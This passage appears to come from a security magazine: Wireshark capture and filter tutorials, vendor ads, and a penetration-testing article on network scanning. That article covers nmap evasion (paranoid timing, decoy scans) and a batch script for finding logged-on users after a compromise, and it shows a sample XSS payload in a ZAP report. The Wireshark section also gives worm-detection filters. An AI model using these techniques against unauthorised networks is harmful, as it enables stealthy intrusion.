In the GUI, you have the option to save the data to a file after you have captured it, or during the setting up a new capture. It is possible to use more than one file. This is useful when capturing high volume of traffic or switch files on a regular base. My personal favorite for capture is the command line because less system resources are used and you can easily use it on remote systems. Listing 2 shows how it looks when using multiple files.

Figure 1. *Capture Window*

Table 2. *Tshark Options*

-i <interface>	name or idx of interface (def: first non-loopback)
-D	print list of interfaces and exit
-n	disable all name resolutions (def: all enabled)
-w <outfile>	write packets to a pcap-format file named „outfile"filesize:NUM – switch to next file after NUM KB
-b <capture ring buffer option>	filesize:NUM – switch to next file in NUM KB duration:NUM – switch to next file in NUM seconds
-r <infile>	set the filename to read from (no pipes or stdin!)
-Ttext|fields	format of text output
-e <field>	field to print if -Tfields selected (e.g. tcp. port); this option can be repeated to print multiple fields
-R <read filter>	packet filter in Wireshark display filter syntax

The needle in a haystack

So far we have seen how to capture data, but we might see a lot of data. To get useful information out of huge captures might not be easy, it's like trying to find the needle in a haystack. Wireshark can help us to limit the traffic we capture and see. There are two type of filters: *capture filters* are used during the capture process and are applied directly to the interface. This will use less system's resources, they are a good starting point to reduce the amount of traffic we capture. Some examples: to filter traffic to a particular host: `host 192.168.0.1`, a network `net 192.168.0.0/24` or a specific application like HTTP `port 80` When you are beginning a new capture, the filter can be applied directly on the command line or in the capture options dialog, for example: `tshark -i eth0` host *www.wireshark.org* this will capture all the traffic from and to *www.wireshark.org*. There are more options if you have to

Listing 2. *Using Multiple Files*

```
[~]$tshark -i eth1 -w /tmp/out.pcap -b duration:2 host www.Wireshark.org
Capturing on eth1
108
[~]$ls -la /tmp/out*
-rw-------. 1 root root  176 Oct 3 20:11 /tmp/out_00001_20121005201159.pcap
-rw-------. 1 root root 28084 Oct 3 20:12 /tmp/out_00002_20121005201201.pcap
-rw-------. 1 root root 16568 Oct 3 20:12 /tmp/out_00003_20121005201203.pcap
-rw-------. 1 root root 21396 Oct 3 20:12 /tmp/out_00004_20121005201205.pcap
-rw-------. 1 root root  176 Oct 3 20:12 /tmp/out_00005_20121005201207.pcap
```

write filters, for more details please use the Wireshark Wiki and the *libpcap* site. Capture filters are implemented in the library. The same filters can be used with any pcap based program like `tcpdump`. You can use those filters, for example, for security analysis, like this one for the blaster worm `dst port 135 and tcp port 135 and ip[2:2]==48`. The display filters, on the other hand, give access to the processed protocols, the filter can be used also during the capture or after the capture has been finished. For example, `tcp.analysis.ack_rtt` gives you access to the acknowledgment round trip times, Hosts can be selected with `ip.host eq <hostname>` or `ip.src`, `ip.dst`. The filters are powerful tool for limiting the display of the captured packets. You have the possibility to look for errors, follow specific streams or see which urls have been accessed, you can even trace SIP Calls and look for a specific number. For example: `http.request.uri contains "GET"`. In listing 3 you can see an example capture to Wireshark.org in the first part we have used a capture filter we will see the complete tcp traffic, tree-way handshake and the GET request for the Wireshark homepage. In the second part, we applied a display filter that shows us only the GET request for the homepage.

Analyzing captured data

After we have reduced our captured data to a reasonable level, we can now begin with the analysis of the data. Wireshark provides a rich set of easy to use tools. You will find them in the menu under `Analysis` or `Statistics`. A good start is to look at the overall capture statistics, you can access them under *Analysis->Statistics*, or command line with the *capinfos* tool (Listing 4). The most important information is about the data rate, round about 5 mbit/s is a good value for my Internet

Listing 3. *Capture and Display Filters*

```
[~]$tshark -i eth0 host www.Wireshark.org
Capturing on eth0
0.000000  10.0.12.10 -> 174.137.42.75 TCP 74 48739 > http [SYN] Seq=0 Win=14600 Len=0 MSS=1460
                 SACK_PERM=1 TSval=70646065 TSecr=0 WS=16
0.184523 174.137.42.75 -> 10.0.12.10  TCP 74 http > 48739 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0
                 MSS=1452 SACK_PERM=1 TSval=641801134 TSecr=70646065 WS=128
0.184598  10.0.12.10 -> 174.137.42.75 TCP 66 48739 > http [ACK] Seq=1 Ack=1 Win=14608 Len=0
                 TSval=70646111 TSecr=641801134
0.185521  10.0.12.10 -> 174.137.42.75 HTTP 181 GET / HTTP/1.1
<output omitted>
42 packets dropped
36 packets captured
[~]$
[~]$tshark -i eth1 -R "http.request.uri"
Capturing on eth1
 2.932826  10.0.12.10 -> 174.137.42.75 HTTP 181 GET / HTTP/1.1
1 packet captured
[~]$
```

Listing 4. *Capture Information*

```
[~]$capinfos /tmp/out.pcap
File name:       /tmp/out.pcap
File type:       Wireshark - pcapng
File encapsulation: Ethernet
Packet size limit:  file hdr: (not set)
Number of packets:  28234
File size:       29260904 bytes
Data size:       28300663 bytes
Capture duration:  47 seconds
Start time:      Fri Oct 5 20:38:03 2012
End time:       Fri Oct 5 20:38:50 2012
Data byte rate:    604322.15 bytes/sec
Data bit rate:     4834577.20 bits/sec
Average packet size: 1002.36 bytes
Average packet rate: 602.90 packets/sec
SHA1:        5284fc1b1d17836b0670ec07f751ad38369f49fb
RIPEMD160:       4ffd2e5e6ad5d0577aad6391e77aca5a4d1d2357
MD5:         f1fd14e630f7bfffcd8f292545113dd1
Strict time order:  True
[~]
```

connection, and the average packet size around 1000 bytes per packet is a good value. This was a download of Wireshark from the website, so packets sizing 1500 bytes were travelling to me from the web server, but the acknowledgment to the web server was sent in small packets. The other interesting point is the *Expert Info* where we can find summarized errors, warnings, and other information seen in the capture (Figure 2). Other helpful tools are:

- the IO Graph (*Statistics->IO Graph*) (Figure 3),
- Time Sequence Graph (*Statistics->TCP StreamGraph->Time Sequence Graph (Stevens*),
- or *Statistics->TCP StreamGraph->Time Sequence Graph (tcptrace)*),
- and Round Trip Time Graph (*Statistics->TCP StreamGraph->Round Trip Time Graph*) can help you visualize how your traffic flow is developing over the time. Spikes and holes in the graphs are good indication that something is wrong.

Security analysis can also be done. You might want to look for unusual traffic like a lot of TCP connect packets or when one host is trying to connect to many hosts, maybe outside of your network. You might also want to search for a specific pattern in your traces, for example, for the Conficker worm you might use `smb.services contains "NetPathCanonicalize"` as filter. This will help you identify the infected hosts.

Figure 2. *Expert Info*

Exporting data for reporting

Sometimes it is necessary to write a report for a problem or to prepare a presentation, but the graphs are not adequate, or don't fit your presentation style. Wireshark can produce during analysis some graphs, but there is no reporting feature built in. However, you can export the data into several formats, like CSV (*Comma Separated Values*). This is done under *File->Export Packet Dissections->as CSV*, also with *tshark* format the output, for example, please look at (Listing 5). This data you can process with Office tools like Excel or OpenOffice.

Where to capture

After we have discussed how we can filter and analyze the data, we should take a look where we can get the data from. Sometimes it is not practicable to capture directly on the client or the server. But it is also possible to add a network tap or use a port mirror on the switch, it is even possible to capture the traffic on the network device and export this in pcap format so that Wireshark can read the capture. Each of this methods has both advantages and disadvantages.

You have seen how to capture data directly on the nodes. To capture data with a network tap or a hub is not more complex, just add it somewhere along

Figure 3. *Normal io graph*

Listing 5. *Exporting Data as csv*

```
[~]$tshark -r /tmp/out.pcap -T fields -e frame.number -e frame.time_relative -e ip.src -e ip.dst
                -e ip.proto -e frame.len -e tcp.analysis.ack_rtt -E header=y -E separator=, -E
                quote=d -E occurrence=f
frame.number,frame.time_relative,ip.src,ip.dst,ip.proto,frame.len,tcp.analysis.ack_rtt
"1","0.000000000","10.0.12.10","174.137.42.75","6","74",
"2","0.183815000","174.137.42.75","10.0.12.10","6","74","0.183815000"
"3","0.183845000","10.0.12.10","174.137.42.75","6","66","0.000030000"
"4","0.184419000","10.0.12.10","174.137.42.75","6","241",
"5","0.371743000","174.137.42.75","10.0.12.10","6","66","0.187324000"
```

Listing 6. *Traffic Capture on a Cisco Switch*

```
#configure terminal
(config)#monitor session 1 source interface GigabitEthernet 0/2
(config)#monitor session 1 destination interface GigabitEthernet 0/3
#
```

Listing 7. *Traffic Capture on a Cisco ASA*

```
#configure terminal
(config)# ! define interesting traffic
(config)# ! make sure to define both directions
(config)# access-list capture-list permit tcp host 10.0.12.10 host 174.137.42.75
(config)# access-list capture-list permit tcp host 174.137.42.75 host 10.0.12.10
# ! Start the capture
#capture capture-inside interface inside access-list capture-list buffer 100000 packet 1522
#
#! export the capture
#copy /pcap capture:capture-inside ftp://myhost/mycapture.pcap
```

Listing 8. *Traffic Capture on a Cisco Router*

```
#!create the capture access-list
(config)#ip access-list extended capture-list
(config-ext-nacl)# permit ip host 10.0.12.10 host 174.137.42.75
(config-ext-nacl)# permit ip host 174.137.42.75 host 10.0.12.10
(config-ext-nacl)#
#monitor capture buffer capture-buffer size 1024 max-size 1500 circular
#monitor capture buffer capture-buffer filter access-list capture-list
#monitor capture point ip cef capture-point fastEthernet 0 both
#monitor capture point associate capture-point capture-buffer
#monitor capture point start capture-point
#
#sh monitor capture buffer all parameters
Capture buffer capture-buffer (circular buffer)
Buffer Size : 1048576 bytes, Max Element Size : 1500 bytes, Packets : 998
Allow-nth-pak : 0, Duration : 0 (seconds), Max packets : 0, pps : 0
Associated Capture Points:
Name : capture-point, Status : Active
Configuration:
monitor capture buffer capture-buffer size 1024 max-size 1500 circular
monitor capture point associate capture-point capture-buffer
monitor capture buffer capture-buffer filter access-list capture-list
#
#! export capture
#monitor capture buffer capture-buffer export ftp://myhost/cap
#
#! for more options please review the cisco website
```

the path of the packets. The main disadvantage is that you will have to unplug cables, so this process is disruptive for the traffic and may have other side effects for the connection, for example, most hubs operate with 10mbit speed.

Port Mirrors on switches are a good idea, as long as you have ports and resources on the switch, because this method is non-disruptive and gives you the possibility to capture a large amount of data. When setting up the wrong mirror port, you might see not the traffic you expect to see or packets will be dropped on the mirror port which are exiting the mirrored port. For example, Cisco Catalyst Switches can mirror traffic, this feaure is called SPAN (Switched Port Analyzer), a session would be set up is this way:

This will configure the switch to copy all frames from GigabitEthernet 0/2 also to GigabitEthernet 0/3, this will give a system connected to port 2 and Wireshark installed to trace traffic to and from the system on port 2. Some network devices can capture the data to an internal ring buffer and export this in pcap format, like the Cisco ASA Firewall Series (Listing 7), Cisco Routers (Listing 8) and Juniper Devices. You can use those when you want to capture only a limited amount of traffic, because they have limited availability of memory. If you need more information on how to capture packets on specific hardware, on the websites from the manufacturer,you will find appropriate information.

The shark goes wireless

Capturing wireless control traffic can be done with Wireshark. To capture the control frames, the system must support the monitor mode on the card. Its availablity are platform, driver and *libpcap* dependent, on most Linux systems it is possible to get the card into monitor mode with `iwconfig` or more easy with the `airmon-ng` script, for example, `airmon-ng start wlan0`, on windows, the *AirPcap* adapters from *Riverbed* allows the capture of full raw wireless traffic. The WLAN traffic summary will look like (Figure 4).

Figure 4. *WLAN Traffic Summary*

On the Web

- *http://www.Wireshark.org* – The Wireshark Homepage
- *http://www.tcpdump.org/* – Home of tcpdump and libpcap
- *https://www.cisco.com/en/US/customer/products/hw/switches/ps708/products_tech_note09186a008015c612.shtml* – Cisco Catalyst Mirror Ports
- *https://www.cisco.com/en/US/docs/ios-xml/ios/epc/command/epc-cr-m1.html* – Cisco Routers Packet Capture
- *https://supportforums.cisco.com/docs/DOC-1222* – Cisco ASA Packet Capture
- *http://www.aircrack-ng.org/doku.php?id=airmon-ng* – airmon-ng script

Glossary

- SPAN – Switched Port Analyser
- IP – Internet Protocol
- IPv6 – IP Version 4
- TCP – Transmission Control Protocol
- UDP – User Datagram Protocol

Security and Legal Aspects

The use of Wireshark is not without risks. Unauthorized people can come into the ownership of sensitive information, maybe healthcare, bank data, and so on. It is therefore advisable to have a clear policy for the use of Wireshark and other tools. Questions that should be answered are: Who is allowed to capture? How to deal with the captured data? Your policy should also include the need to encrypt the data. If you do not do this, sensible data can leave the company and may have serious legal and financial consequences for the company and you as an individual. In many countries the use of Wireshark and other tools has been banned and placed under strict and heavily regulated laws. Please inform yourself beforehand about the law and consider contacting a lawyer.

Summary

Wireshark is a powerful tool to analyze network data and it can help you improve your network skills. We have seen that it is pretty easy to capture traffic in the network and that we analyze them for issues. Tracing wireless networks is more demanding, and, when possible, capture the traffic on the wire. In my experience, it is helpful to have a baseline of captures at hand and to update it when there are changes in applications.

PATRICK PREUSS

Patrick Preuss is working as a network engineer for a large company in Germany. He has more than twelve years of experience in network design and analysis. He can be contacted under patrick.preuss@gmail.com.

appin®
securing the digital age

6 Months /6 Weeks
Offering
International Industrial
Training Programmes

THE ART OF HACKING™

Enroll for Appin Certificate, Diploma & PG Courses
to get High Paying Jobs in leading MNCs

APPIN INFORMATION SECURITY & ETHICAL HACKING COURSE

Appin International Certification available in:

JOIN HIGH TECHNOLOGY COURSES TO GET HIGH PAYING JOBS

- Information Security & Ethical Hacking
- Embedded Systems & Robotics
- Microsoft .Net
- Java, C/C++ and Data Structure
- Networking & Communicaton

HURRY.
Enroll Now
Limited Seats...

Address: 50 - Mahavir Marg , Near B.M.C. Chowk , Jalandhar.
Email : jalandhar.mm.director@appintraining.com , Mb: 9876043560

Wireshark:

The Network Packet Hacker or Analyzer

The purpose of this article is to provide the overview of the powerful tool Wireshark. The document also explains how to build a working setup to analyze Ethernet standardized network packets.

In order to run wireshark, there are following prerequisites that must be present.

- Linux/Windows desktop host machine.
- Host machine must have Ethernet interface.
- The user should have basic Linux/Windows environment knowledge.
- PC should be connected to network via a Ethernet cable.

Overview

Wireshark is an open source tool for capturing and analysing network packets, from standard network protocols such as Ethernet, TCP, UDP, HTTP to GSM Protocols like LAPD. Wireshark works like a network packet X-Ray and can listen to network traffic to help identify problems related to protocols, applications, links, processing time, latency and more. This tool expands packet header and data information which is user friendly understandable information for debugging networking issues.

On running the Wireshark Analyser tool, network packets are displayed in the *Graphical User Interface* (GUI) at run time. Each packet shown in GUI can be expanded to view various header fields of the network packet. Wireshark supports IPv4, IPv6, 6lowPAN and many more networking standards & protocols.

Table 1. *Acronyms and Abbreviations*

Wireshark	Wireshark is an open source network packet sniffer tool
IP	Internet Protocol
GSM	Mobile phone communication network terminology (Global System for Mobile Communications)
VoIP	Voice over IP

Wireshark tool usage

- Debugging Internet Protocol TCP and UDP which are the most commonly used protocols for communication. Debugging for the following problems when analysing TCP-based applications using Wireshark
  - Zero Window
  - Window is Full
  - Keep-Alive
  - Window Update
  - Previous Segment Lost

Figure 1. *Setup Block Diagram*

  - Retransmissions/Fast Retransmissions
  - Duplicate ACKs
- Wireshark is a useful tool to determine the cause of slow network connections.
- To expose problems for VoIP using Wireshark.
- To expose LAPD/ABIS GSM protocol message debugging for missing acks session close etc.

Wireshark is an open source tool which can be extended for any communication protocols message debugging.

How to setup Wireshark

Connect Wireshark host machine to a hub to capture network packet flow (Figure 1).

Figure 2. *Setup Linux PC*

Figure 3. *Wireshark Packet Tapping and Parsing*

Figure 4. *Wireshark Packet Capture Main Window*

Configuring setup on Windows and Linux system:

The following steps show you how to configure Wireshark:

- Install Wireshark: On Windows, download Wireshark and install with the default selections, including WinPcap. On Linux, enter the commands with root privileges:
  - yum search wireshark
  - yum install wireshark
  - yum install wireshark-gnome
- Configure the interface to be analysed
  - Start Wireshark.
  - Select the “Capture | Interfaces” menu item.
  - Choose the network interface exhibiting issues and click Start.
- Launch the application you want to analyse (the TCP client, for example).
- To configure a filter with a focus on Perforce network traffic click the Expression item next to the Filter item.
- Select the Capture | Stop menu item when you have completed reproducing the issue.
- To save the results, select the File | Save as... menu item to save the output as a .pcap file. This file can be sent to Perforce for analysis.

Figure 5. *Wireshark Statistics View*

Figure 6. *Wireshark Time Reference Window*

Figure 7. *Wireshark Packet Analyser View*

Linux based wireshark setup block diagram (Figure 2).

How wireshark works (Technical block diagram)

It taps the packet from wire and a handler is called for packet parsing and display. As show Figure 3.

Wireshark Packet Analyser Screenshots

- The Figure 4 displays the Wireshark main window with packets captured from the network
- Wireshark statistics view window (Figure 5)
- Wireshark time reference window (Figure 6).
- Wireshark packet analyse view (Figure 7).

Conclusion

Tapping into the communications in a passive manner enables you to identify communication problems. Mastering analysis of communication protocols is critical when identifying the source of those problems and differentiates. Wireshark shows each bit and byte of the filtered protocol packet along with sensible header byte information to show detailed information that aids in problem solving within the network. Network analysis is one of the key skill sets all IT and security professionals should master. Wireshark assists network professionals to learn how the protocols and applications interact with each other.

ANAND SINGH

IMF
INTERNATIONAL MANAGEMENT FORUM

IT Security Courses and Trainings

IMF Academy is specialised in providing business information by means of distance learning courses and trainings. Below you find an overview of our IT security courses and trainings.

Certified ISO27005 Risk Manager
Learn the Best Practices in Information Security Risk Management with ISO 27005 and become Certified ISO 27005 Risk Manager with this 3-day training!

CompTIA Cloud Essentials Professional
This 2-day Cloud Computing in-company training will qualify you for the vendor-neutral international CompTIA Cloud Essentials Professional (CEP) certificate.

Cloud Security (CCSK)
2-day training preparing you for the Certificate of Cloud Security Knowledge (CCSK), the industry's first vendor-independent cloud security certification from the Cloud Security Alliance (CSA).

e-Security
Learn in 9 lessons how to create and implement a best-practice e-security policy!

Information Security Management
Improve every aspect of your information security!

SABSA Foundation
The 5-day SABSA Foundation training provides a thorough coverage of the knowlegde required for the SABSA Foundation level certificate.

SABSA Advanced
The SABSA Advanced trainings will qualify you for the SABSA Practitioner certificate in Risk Assurance & Governance, Service Excellence and/or Architectural Design. You will be awarded with the title SABSA Chartered Practitioner (SCP).

TOGAF 9 and ArchiMate Foundation
After completing this absolutely unique distance learning course and passing the necessary exams, you will receive the TOGAF 9 Foundation (Level 1) and ArchiMate Foundation certificate.

TOGAF

cloud CSA security alliance™ CCSK CompTIA CLOUD ESSENTIALS™ ArchiMate® SABSA

For more information or to request the brochure please visit our website:
http://www.imfacademy.com/partner/hakin9

IMF Academy
info@imfacademy.com
Tel: +31 (0)40 246 02 20
Fax: +31 (0)40 246 00 17

Wireshark Overview

Wireshark is a very popular tool mainly used to analyze network protocols. It has many other features as well but if you are new the program and you seek somebody to cover the basics, here is a brief tutorial on how to get started.

In this article, we will talk about the elementary features of Wireshark, capturing data, and establishing firewall ACL rules. You should gain the fundamental knowledge about the tool and, hopefully, become interested in getting deeper into the program's abilities.

Basics

- (Originally Ethereal) is a free and open-source packet analyzer,
- Used for network troubleshooting, analysis, protocol development and education,
- It has a graphical front-end, as well as information sorting and filtering options.

Features

- Wireshark is software that "understands" the structure of different networking protocols.
- It's able to show the encapsulation and the fields together with their meanings totally different packets specified by different networking protocols.
- Live information are often scanned for a variety of forms of data. Show is often refined employing a show filter.
- You can download it from *http://www.wireshark.org/download.html*
- Choose the version compatibile with your operating system (for Windows). Throughout the installation, agree to install winpcap as well.
- pcap has an *application programming interface* (API) for capturing network traffic.
- Unix-like systems implement pcap within the libpcap library.
- Windows uses a port of libpcap known as *WinPcap*. *http://wiki.wireshark.org/CaptureSetup* provides a good tutorial on how to capture data using WireShark.

Before capturing data

Are you allowed?

Make sure that you have the permission to capture packets from the network you're connected with.

General Setup

- Operating system should support packet capturing, that is capture support should be enabled.
- You must have adequate privileges to capture (root).
- Your computer's time and zone settings ought to be correct

Capturing data

Check the interface correctly (Figure 1).

Figure 1. *Checking the Interface*

- Specific Interface
- Analyzing
  - Time to capture
  - Source IP address
  - Destination IP address
  - Protocol used
  - Information (Figure 3)
- Hierarchical view (Figure 4)
- Filters (Figure 5)

Figure 2. *Capturing From the Specific Interface*

Figure 3. *Analysis Scheme*

Figure 4. *Hierarchical View*

Figure 5. *Filters*

There are two types of filters:

- Capture Filters
- Display Filters

Wireshark contains a robust capture filter engine that helps to take away unwanted packets from a packet trace, and solely retrieves the packets of our interest.

Comparison operators

Fields may be compared with values. The comparison operators are often expressed either through abbreviations or C language symbols:

- `ge, >= Greater than or Equal to`
- `ne, != Not Equal`
- `eq, == Equal`
- `lt, < Less Than`
- `gt, > Greater Than`
- `le, <= Less than or Equal to`

Display filters compares the fields within a protocol with a specific value.

Logical Expressions

Tests can be combined using logical expressions.

- `and, && Logical AND`
- `or, || Logical OR`
- `not, ! Logical NOT`

Some Valid Filters

- `tcp.port == 80 and ip.src == 192.***.*.*`
- `http and frame[00-199] contains "wireshark"`

The Slice Operator

- You can take a slice of a, that is you can filter the HTTP header fields.
- REDIRECTION happens.
  `http.location[0:4]=="http"`
- Another example is:
  `http.content_type[0:4] == "text"`

Display filters (examples)

- `ip.addr == 192.100.10.11`
  - Displays the packets with the source or destination IP address reflects 192.100.10.11
- `http.request.`
  - Display http version
- `tcp.dstport == 25`
- `tcp.flags`

- Display packets having TCP flags
- `tcp.flags.syn == 0x02`
  - Display packets with a TCP SYN flag

Creating firewall ACL rule

If you are an n/w admin, use Wireshark to goof around and to check firewalls. Use Wireshark's *Firewall ACL Rules* tool and generate commands to create firewall rules on your firewall.

Figure 6. *Firewall ACL Rules Option*

Figure 7. *Selecting Firewall Type*

Figure 8. *Applying the Rule*

Figure 9. *Remote Capturing Traffic*

References

- Ruiting Zhou *http://pages.cpsc.ucalgary.ca/*
- Google Hacking (few PDF from search)
- *www.wireshark.org*

- First, select a packet based on which you want to create a firewall rule by clicking on it,
- Click the *Tools* menu,
- Select *Firewall ACL Rules* (Figure 6),
- Enter the *Product* menu and select your firewall type, that is Cisco IOS and others (Figure 7),
- By default, the tool creates a rule that denies inbound traffic,
- You can modify the rule's behaviour by un-checking *Deny* checkboxes,
- After you've created a rule, use the *Copy* button to copy it, then run it on your firewall to apply the rule (Figure 8).

Remote capturing traffic

If you want to capture traffic from a router, server, or another computer in a different location on the network, this is where Wireshark's remote capture feature comes in.

- Open the Services window on the remote computer – click Start, type services.msc into the search box in the Start menu, and press Enter.
- Locate the *Remote Packet Capture Protocol* service in the list and start it.
- This service is disabled by default (Figure 9).

NITISH MEHTA

Nitish Mehta (Illuminative Works) is a 21 years old Information Security & Cyber Crime Consultant. He has not only helped in cracking cyber crime cases, but also has spread awareness against Cyber crime. With the vast knowledge in web development and hacking, he has also worked for cyber security firms, such as Consultant, and helped to secure many websites. With keen interest to tech Ethical Hacking he took step to start workshops on Ethical Hacking and started a company to provide complete guidelines in nearly all platforms of hacking technique and development.

What do all these have in common?

They all use Nipper Studio

to audit their firewalls, switches & routers

Nipper Studio is an award winning configuration auditing tool which analyses vulnerabilities and security weaknesses. You can use our point and click interface or automate using scripts. Reports show:

1) Severity of the Threat & Ease of Resolution

2) Configuration Change Tracking & Analysis

3) Potential Solutions including Command Line Fixes to resolve the Issue

Nipper Studio doesn't produce any network traffic, doesn't need to interact directly with devices and can be used in secure environments.

SME pricing from £650 scaling to enterprise level

evaluate for free at www.titania.com

2012 Computing Security Awards
WINNER
Enterprise Security Solution of the Year

2012 Computing Security Awards
WINNER
Network Security Solution of the Year

2012 Computing Security Awards
Runner-up
SME Security Solution of the Year

titania nipper STUDIO

CLOUD

www.titania.com
T: +44 (0) 1905 888785

You Are Here

A Guide to Network Scanning

Historically the term network scanning has been defined as a process which primarily takes place shortly after the information gathering phase of a hacking attempt or penetration test. In actuality, you never know when you will have to perform scanning activities.

The order is dependent on the method or if you have already compromised a system or not. If you have been returned a shell resulting from a successful malware exploit; information gathering of systems on the compromised network would be soon to follow; a definite departure from the familiar Phases of Reconnaissance, Scanning, Exploiting, Keeping Access, and Covering Tracks. The fact that scanning can take place out of order depending on the type of exploit, and target location, is why I've titled this article "You are here" what to do where; network scanning.

Internet & External Networks

By default, this is the starting point for most of us. We have not made any efforts to gain access to an internal asset, capture keystrokes, extract vital information from internal databases, etc, all we have are public domain names/IP Addresses and our curiosity.

When performing a penetration test or otherwise, begin aware and avoiding detection by Intrusion Prevention Systems must be taken into account. Most IPS are fully capable of detecting a vulnerability scanner like Nessus as it scans a range looking for active systems and open ports, checking for remotely exploitable flaws. Additionally, leaving an obvious trail back to the source allows observant network administrators the ability to block your actions at the firewall. Utilizing Nmap there are a couple reliable methods to avoid detection.

NMAP Paranoid SCAN

Simply launch a low a slow scan with Nmap. This method to this day can be used to fall beneath the radar most port scanning IPS signatures. Timing option using in Nmap are; Paranoid, Sneaky, Polite, Normal, Aggressive, and Insane. Patience is a virtue, The Paranoid scan can take and extremely long time to complete making it virtually a needle in a haystack to detect. Obviously increasing the speed in of the timing option will increase your chances of being detected. Experience in performing penetration tests has reveals the postures and traits of the security departments within organizations. Most organizations have their thresholds of what will get caught and what will sneak by undetected. Proper reconnaissance will often reveal exactly where it lies.

```
# "nmap -sS -f -O -T0 -v [target]"
```

Performing scans with Decoys

In relationship to perimeter devices and Internet facing systems, Internet is a very loud place, filled with what we consider "white noise". This ever present reality of port scans from around the world, script kiddies, and botnet probes, have forced security administrators to expect and accept these attempts. Occasionally, security analyst behind a well tuned IPS, are lucky enough to identify a single IP Address scanning or attacking their systems. This early identification raises red flags and allows the team to take action. Why not blend in to the white noise? Nmap allows you to launch a scan which appears to source from different IP addresses. This is performed by the –D option.

The first step in performing an Nmap decoy scan is to identify a pool of live systems to impersonate.

Nmap offers an excellent way to quickly identify a random list of live host, this is accomplished by using the `-iR` switch.

Syntax:

```
"namp -sP -T4 -iR 250"
-iR <num hosts>: Choose random targets
```

The next phase of this process involves launching the scan against the desired target or range of targets:

```
# nmap -n -D decoy1-ip,decoy2-ip,decoy3-ip
```

Although this technique can be thwarted, it still proves to be effective.

Web Applications

By far the most attractive Internet targets for hackers have become vulnerable web applications; no discussion on network scanning would be complete without mentioning tips on how to scan an application.

Figure 1. *Finding Random decoys with NMAP*

Figure 2. *Performing a Port Scan with OWASP ZAP*

Figure 3. *Spidering a Website with OWASP ZAP*

The de-facto standard tool for conducting Web Application scanning for years has been Burp Suite, available at: *www.portswigger.net/burp/*. Acclaimed by security professionals and rivaling expensive commercial tools for its ability to perform as a web proxy, Spider, Sequencer, Decoder and Scanner just to name a few of its features makes it obvious. Some of the most useful features are available in its professional edition. Recently, *The Open Web Application Security Project* (OWASP) has established its Zed Attack Proxy and a great option for those who chose not to purchase the professional edition (*https://www.owasp.org/index.../OWASP_Zed_Attack_Proxy_Project*).

Once a potential target has been identified, OWASP ZAP has the ability to perform a port scan on the host, identifying open ports which may be serving web pages (Figure 2 nad Figure 3). Once a site page has been identified, running a spider on the site reveals all accessible sub pages of the application, setting the stage for an active scan of the site. An active scan reveals any common web application vulnerability by attempting a series of attacks against input fields, URLs, and Cookies just to name a few (Figure 4). The result of an active scan is a thorough listing of vulnerabilities to attempt to exploit. Each vulnerability includes the affected URL along with a risk rating (High, Medium, and Low) and a description (Figure 5).

Figure 4. *Performing an Active Scan with OWASP ZAP*

Figure 5. *OWASP ZAP Vulnerabilities*

Either for your own exploitation purposes or as a document used for remediation activates, ZAP has the ability to generate reports (Figure 6).

Internal Access from Malicious code exploits

Pounding on the front door, breaching a system in the DMZ, escalating privileges, penetrating a system within the internal network, pivoting from machine to machine searching for valuable assets, covering our tracks all while avoiding, has become an extremely rare method of infiltrating an organization. More often, machines are exploited by malware which takes advantage of missing software patches, or mis-configured security settings. In the event this kind of attack is successful, the attacker is often presented with the Holy Grail in to form of a command shell. Now what?

How does one determine what other systems are in proximity? Yes, this is yet another opportunity to perform network scanning. As discussed previously, the more aggressive we decide to scan; the greater our chances are of being detected, thanks to host-based intrusion prevention many of the same rules apply on an internal subnet. We can avoid the unnecessary chatter by making a few logical determinations. We know the ports open on our exploited system and can assume systems of the same operating system will have them open as well, no need for loud scanning (Figure 7).

Time to think outside of the box

The popular business social network site LinkedIn maintains a virtual directory of the majority of employees within of most organizations. Everyone from CEO to janitorial staff, but most importantly, IT employees like System Administrators, Network Engineers and Information Security Personnel are all listed by name and title. Knowing the account naming conventions are similar in most organizations makes it fairly easy to guess that corporate accounts either begin with a first initial followed by the full last name or something very close. If we could find out who is logged on and what their IP Address is it would give us a pretty reliable map of the internal network in relation to targets of interest within the company; all without performing a single network scan.

Whoisloggedinwhere

To run this script you will need PsloggedOn which is available as part of Microsoft's Sysinternals PsTools Suite (Listing 1).

As whoisloggedinwhere runs, you will receive a listing of usernames and their corresponding IP Addresses.

Conclusion

The order in which successful exploits occur do not necessarily follow a sequential approach. You will

Figure 7. *Open Ports on a Windows System*

ZAP Scanning Report

Report generated at Wed, 12 Sep 2012 21:44:00.

Summary of Alerts

Risk Level	Number of Alerts
High	3
Medium	1
Low	3
Informational	0

Alert Detail

High (Warning)	Cross site scripting
Description	Cross-site scripting or HTML injection is possible. Malicious script may be injected into the browser which appeared to be genuine content from the original site. These scripts can be used to execute arbitrary code or steal customer sensitive information such as user password or cookies. Very often this is in the form of a hyperlink with the injected script embeded in the query strings. However, XSS is possible via FORM POST data, cookies, user data sent from another user or shared data retrieved from database. Currently this check does not verify XSS from cookie or database. They should be checked manually if the application retrieve database records from another user's input.
URL	http://192.168.42.175/cgi-bin/badstore.cgi?action=moduser
Parameter	email=<SCRIPT>alert("OWASP ZAP");</SCRIPT>
Solution	Do not trust client side input even if there is client side validation. Sanitize potentially danger characters in the server side. Very often filtering the <, >, " characters prevented injected script to be executed in most cases. However, sometimes other danger meta-characters such as ' , (,), /, &, ; etc are also needed. In addition (or if these characters are needed), HTML encode meta-characters in the response. For example, encode < as <
Reference	• The OWASP guide at http://www.owasp.org/documentation/guide • http://www.technicalinfo.net/papers/CSS.html • http://www.cgisecurity.org/articles/xss-faq.shtml • http://www.cert.org/tech_tips/malicious_code_FAQ.html • http://sandsprite.com/Sleuth/papers/RealWorld_XSS_1.html

Figure 6. *OWASP Report*

Listing 1. *Whoisloggedinwhere Script*

```
@echo off
setlocal
for /f "Tokens=1" %%c in ('net view
/domain:"%USERDOMAIN%"^|Findstr /L /C:"\\"') do (
 for /f "Tokens=*" %%u in ('PsLoggedOn
-L %%c^|find /i "%USERDOMAIN%\"') do (
 call :report %%c "%%u"
 )
)
endlocal
goto :EOF
:report
set work=%1
set comp=%work:~2%
set user=%2
set user=%user:"=%
call set user=%%user:*%USERDOMAIN%\=%%
@echo %comp% %user%
```

be required to apply certain phases multiple times. There are multiple ways to identify services and potential vulnerabilities on networks and individual systems. Where you are logically positioned greatly affects the method of scanning to apply. Web Application Scanners quickly identify highly exploitable high yielding flaws. You should always be aware that scanning will draw attention either immediately or through the review of logs. Misdirection can be achieved by masking or concealing an NMAP scan with Decoys or running a Paranoid scan. Try to think out of the box combining the things you know already to avoid scanning when possible.

COURT GRAHAM

